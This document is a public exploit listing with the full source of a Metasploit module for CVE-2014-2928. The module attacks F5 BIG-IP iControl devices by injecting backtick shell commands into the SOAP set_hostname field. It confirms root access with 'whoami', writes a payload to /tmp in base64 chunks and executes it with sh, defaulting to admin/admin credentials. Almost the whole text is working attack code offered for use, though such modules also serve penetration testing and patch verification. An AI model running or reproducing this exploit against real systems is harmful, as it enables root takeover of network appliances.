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F5 iControl Remote Root Command Execution

F5 iControl Remote Root Command Execution
Posted Oct 8, 2014
Authored by Brandon Perry | Site metasploit.com

This Metasploit module exploits an authenticated remote command execution vulnerability in the F5 BIGIP iControl API (and likely other F5 devices).

tags | exploit, remote
advisories | CVE-2014-2928
MD5 | 3e4e7b6e22d76579984514ab11233c5a

F5 iControl Remote Root Command Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "F5 iControl Remote Root Command Execution",
'Description' => %q{
This module exploits an authenticated remote command execution
vulnerability in the F5 BIGIP iControl API (and likely other
F5 devices).
},
'License' => MSF_LICENSE,
'Author' =>
[
'bperry' # Discovery, Metasploit module
],
'References' =>
[
['CVE', '2014-2928'],
['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['F5 iControl', {}]
],
'Privileged' => true,
'DisclosureDate' => "Sep 17 2013",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
], self.class)
end

def check
get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => get_hostname,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})

res.body =~ /y:string">(.*)<\/return/
hostname = $1
send_cmd("whoami")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => get_hostname,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})

res.body =~ /y:string">(.*)<\/return/
new_hostname = $1

if new_hostname == "root.a.b"
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
<hostname>#{hostname}</hostname>
</n1:set_hostname>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}

send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})

return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def send_cmd(cmd)
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
<hostname>`#{cmd}`.a.b</hostname>
</n1:set_hostname>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}

send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
end

def exploit
filename = Rex::Text.rand_text_alpha_lower(5)

print_status('Sending payload in chunks, might take a small bit...')
i = 0
while i < payload.encoded.length
cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}"
send_cmd(cmd)
i = i + 5
end

print_status('Triggering payload...')

send_cmd("sh /tmp/#{filename}")
end
end

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